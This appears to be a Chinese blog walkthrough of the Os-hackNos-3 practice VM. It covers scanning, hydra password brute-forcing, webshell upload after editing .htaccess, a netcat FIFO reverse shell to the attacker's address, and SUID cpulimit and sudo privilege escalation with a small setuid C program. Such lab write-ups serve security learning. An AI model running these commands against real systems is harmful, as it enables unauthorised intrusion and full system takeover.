• Os-hackNos-3


    Os-hackNos-3

    一、主机发现和端口扫描

    • 主机发现,靶机地址192.168.80.145

       arp-scan -l
      
      • 1

      在这里插入图片描述

    • 端口扫描,开放了22和80端口

      nmap -P -sV 192.168.80.145
      
      • 1

      在这里插入图片描述

    二、信息收集

    • 访问80端口

      find the Bug
      You need extra WebSec
      
      翻译
      找到Bug
      你需要额外的网络安全
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      在这里插入图片描述

    • 路径扫描

      dirsearch -u "http://192.168.80.145/" -e *
      
      • 1

      在这里插入图片描述

    • 访问/scripts

      在这里插入图片描述

    • 查看automail.pl文件

      #!/usr/bin/perl
      #######################################################################
      #    automail.pl
      #
      #    Perl script used for remote email piping...same as as the PHP version.
      #
      #    Peter Rotich 
      #    Copyright (c) 2006-2013 osTicket
      #    http://www.osticket.com
      #
      #    Released under the GNU General Public License WITHOUT ANY WARRANTY.
      #    See LICENSE.TXT for details.
      #
      #    vim: expandtab sw=4 ts=4 sts=4:
      #######################################################################
      
      #Configuration: Enter the url and key. That is it.
      #  url=> URL to pipe.php e.g http://yourdomain.com/support/api/tickets.email
      #  key=> API Key (see admin panel on how to generate a key)
      
      %config = (url => 'http://yourdomain.com/support/api/tickets.email',
                 key => 'API KEY HERE');
      
      #Get piped message from stdin
      while () {
          $rawemail .= $_;
      }
      
      use LWP::UserAgent;
      $ua = LWP::UserAgent->new;
      
      $ua->agent('osTicket API Client v1.7');
      $ua->default_header('X-API-Key' => $config{'key'});
      $ua->timeout(10);
      
      use HTTP::Request::Common qw(POST);
      
      my $enc ='text/plain';
      my $req = (POST $config{'url'}, Content_Type => $enc, Content => $rawemail);
      $response = $ua->request($req);
      
      #
      # Process response
      # Add exit codes - depending on what your  MTA expects.
      # By default postfix exit codes are used - which are standard for MTAs.
      #
          
      use Switch;
      
      $code = 75;    
      switch($response->code) {
          case 201 { $code = 0; }
          case 400 { $code = 66; }
          case [401,403] { $code = 77; }
          case [415,416,417,501] { $code = 65; }
          case 503 { $code = 69 }
          case 500 { $code = 75 }
      }
      #print "RESPONSE: ". $response->code. ">>>".$code;
      exit $code;
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
      • 26
      • 27
      • 28
      • 29
      • 30
      • 31
      • 32
      • 33
      • 34
      • 35
      • 36
      • 37
      • 38
      • 39
      • 40
      • 41
      • 42
      • 43
      • 44
      • 45
      • 46
      • 47
      • 48
      • 49
      • 50
      • 51
      • 52
      • 53
      • 54
      • 55
      • 56
      • 57
      • 58
      • 59
      • 60
      这段Perl脚本的功能是通过osTicket API将电子邮件消息发送到指定的URL,并根据响应的状态码确定退出码。
      
      1. `%config = (url => 'http://yourdomain.com/support/api/tickets.email', key => 'API KEY HERE');` - 定义了存储URL和API密钥的哈希表。
      2. `while () { $rawemail .= $_; }` - 从标准输入读取管道传输的电子邮件消息并存储在变量 `$rawemail` 中。
      3. `use LWP::UserAgent; $ua = LWP::UserAgent->new; $ua->agent('osTicket API Client v1.7'); $ua->default_header('X-API-Key' => $config{'key'}); $ua->timeout(10);` - 导入LWP::UserAgent模块,创建UserAgent对象,并设置默认的用户代理和超时。
      4. `use HTTP::Request::Common qw(POST);` - 导入HTTP::Request::Common模块,并引入POST请求类型。
      5. `my $req = (POST $config{'url'}, Content_Type => $enc, Content => $rawemail); $response = $ua->request($req);` - 创建一个POST请求,将原始电子邮件消息作为内容发送到指定的URL,并获取响应。
      6. `use Switch;` - 导入Switch模块,用于实现switch语句。
      7. `switch($response->code) { case 201 {...} case 400 {...} ... }` - 用switch语句根据响应状态码选择不同的退出码(根据邮件传输代理的标准)。
      8. `exit $code;` - 根据计算得到的退出码退出脚本
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
    • 没啥价值,根据上面的提示访问/websec路径,发现一个博客和一个邮箱

      contact@hacknos.com
      
      • 1

      在这里插入图片描述

    • 博客使用Glia CMS搭建的

      在这里插入图片描述

      在这里插入图片描述

    三、密码爆破

    • 猜测刚才发现的邮箱就是用户名,再爬取网站信息生成密码本

      cewl http://192.168.80.145/websec/ >/tmp/passwd
      
      • 1

      在这里插入图片描述

    • 密码爆破

      hydra -l contact@hacknos.com -P /tmp/passwd 192.168.80.145 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V
      
      • 1

      在这里插入图片描述

    • 登录系统,发现是管理员权限,版本是1.10.9

      用户名:contact@hacknos.com
      密码:Securityx
      
      • 1
      • 2

      在这里插入图片描述

    四、漏洞利用

    • 在后台发现文件上传功能(content->file managee),上传一句话mua

      
      
      • 1

      在这里插入图片描述

    • 发现文件被上传到了assets目录,在该目录中发现了.htaccess文件禁止访问php文件,那么将deny from all删除后保存

      在这里插入图片描述

    • 使用蚁剑连接,拿到shell

      在这里插入图片描述

    五、权限提升

    • nc建立连接

      kali:nc -lvnp 8848
      靶机:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc 192.168.80.139 8848 >/tmp/f
      
      
      然后执行python -c 'import pty; pty.spawn("/bin/bash")'
      
      • 1
      • 2
      • 3
      • 4
      • 5

      在这里插入图片描述

    • 查看是否存在可以提权的命令

      find /usr/bin -type f -perm -u=s 2>/dev/null
      
      • 1

      在这里插入图片描述

    1.第一种方法
    • 发现cpulimit 命令,尝试用cpulimit提权

      一个用户调整CPU使用的命令,cpulimit`命令主要对长期运行的和 CPU 密集型的进程有用
      
      • 1
      #include
      #include
      #include
      
      int main()
      {
        setuid(0);
        setgid(0);
        system("/bin/bash");
        return 0;
      }
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
    • 将上面的代码编译为exp,上传之后使用添加运行权限

      gcc cpu.c -o exp
      chmod 777 exp
      
      • 1
      • 2

      在这里插入图片描述

    • 使用cpulimit -l 100 -f ./exp进行提权

    2.第二种方法
    • /var/local/database中发现了经过加密的内容

      Expenses
      Software Licenses,$2.78
      Maintenance,$68.87
      Mortgage Interest,$70.35
      Advertising,$9.78
      Phone,$406.80
      Insurance,$9.04
      Opss;fackespreadsheet
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

      在这里插入图片描述

    • 对密文进行解密,得到密码明文Security@x@

      https://link.csdn.net/?target=https%3A%2F%2Fwww.spammimic.com%2Fspreadsheet.php
      
      • 1
    • 登录用户blackdevil,该用户是在/home目录下发现的,然后用sudo提权

      在这里插入图片描述

  • 相关阅读:
    Android(kotlin)JetPack系列学习——2.ViewModel(含源码)
    【标准化封装 SOT系列 】 E SOT-89
    重新认识Java
    《对比Excel,轻松学习Python数据分析》读书笔记------数据预处理
    [go]HTTP之RestAPI请求
    day01 Linux
    Ubuntu18保姆级教程及其jdk和hadoop安装含资源
    项目经理退退退,PMO才真的是项目管理“工具人”
    在报酬与体验之间触碰到玩家“G”点才是元宇宙链游发展之道
    线程安全问题以及其解决方法
  • 原文地址:https://blog.csdn.net/weixin_46029520/article/details/134558136